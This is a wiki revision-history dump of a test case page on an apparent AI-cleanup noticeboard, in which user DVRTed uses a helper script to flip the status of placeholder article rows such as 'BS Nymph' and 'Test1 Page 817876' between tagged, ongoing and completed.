{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
mnmocyt0ihtiweebrasvdz3xawtkcpn
768328
768327
2026-10-13T17:23:13Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768328
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=ongoing|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
g78bu1q6uazkhiyrgy884p25sz8nd4g
768329
768328
2026-10-13T17:27:40Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768329
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
mnmocyt0ihtiweebrasvdz3xawtkcpn
768331
768329
2026-10-13T17:36:49Z
DVRTed
55993
Updated row for [[Test 2Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768331
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
28hj00ig27whwso6a76l6pjdhl8t9d8
768332
768331
2026-10-13T17:39:17Z
DVRTed
55993
Batch edited 3 rows (using [[User:DVRTed/AINB-helper|AINB-helper]])
768332
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=ongoing|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
oic0v2m247b66htm458t1o8o9vix3h4
768333
768332
2026-10-13T17:46:00Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768333
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
hvb2768di621k7op34f8slife8e073t
768334
768333
2026-10-13T17:46:06Z
DVRTed
55993
Updated row for [[Test1 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768334
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=22 edits: [[Special:Diff/765391|(+5)]] [[Special:Diff/762815|(+330)]] [[Special:Diff/762814|(-2679)]] [[Special:Diff/762811|(+88)]] [[Special:Diff/762776|(+331)]] [[Special:Diff/762774|(+90)]] [[Special:Diff/762772|(+283)]] [[Special:Diff/762716|(+88)]] [[Special:Diff/762713|(+88)]] [[Special:Diff/762710|(+88)]] [[Special:Diff/762707|(+318)]] [[Special:Diff/762691|(+318)]] [[Special:Diff/762688|(+88)]] [[Special:Diff/762686|(+318)]] [[Special:Diff/762684|(+88)]] [[Special:Diff/762682|(+88)]] [[Special:Diff/762681|(+88)]] [[Special:Diff/762678|(+318)]] [[Special:Diff/762677|(-88)]] [[Special:Diff/762676|(+88)]] [[Special:Diff/759773|(-85)]] [[Special:Diff/759772|(+85)]]}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
opfhaaf4tgovy7v9qc4ihhhuonn4x98
768335
768334
2026-10-13T17:47:10Z
DVRTed
55993
Updated row for [[BS Nymph]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768335
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=TEST1}}
{{AIC article row|article=Test1 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
5mflvylxtbpmmbsgn3x2pdqlk6kz40h
768363
768335
2026-10-14T08:40:42Z
DVRTed
55993
Updated row for [[Test1 Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768363
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=TEST1}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
r2lwue0jdiwtgkb09ykmeugtoi98vuj
768364
768363
2026-10-14T08:40:48Z
DVRTed
55993
Updated row for [[Test 2Page 817876]] (using [[User:DVRTed/AINB-helper|AINB-helper]])
768364
wikitext
text/x-wiki
{{AINB case banner |llmprod=undetermined |case_name=DVRTed |original_file_date=6 October 2026 |case_type=user |cleanup=analysis |conduct=review}}
== Discussion ==
{{Userlinks|DVRTed}}
This is a case! [[User:DVRTed|DVRTed]] ([[User talk:DVRTed|talk]]) 03:02, 6 October 2026 (UTC)
== Cleanup ==
{{InfoCard|content='''Tracker detail'''
* User: {{Userlinks|1=DVRTed}}
* Start date: 2022-12-01
* End date: 2026-10-07}}
{{AIC article list|
{{AIC article row|article=BS Nymph|status=completed|notes=TEST1}}
{{AIC article row|article=Test1 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 2Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test3 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 4Page 817876|status=ongoing|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 5Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test6 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test7 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 9Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test10 Page 817876|status=tagged|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 11Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test 12Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]asdads}}
{{AIC article row|article=Test13 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
{{AIC article row|article=Test14 Page 817876|status=completed|notes=2 edits: [[Special:Diff/765241|(+83)]] [[Special:Diff/691118|(+14)]]}}
}}
nsa184iznwlurymfok85ohl3okwegjo
768365
768364
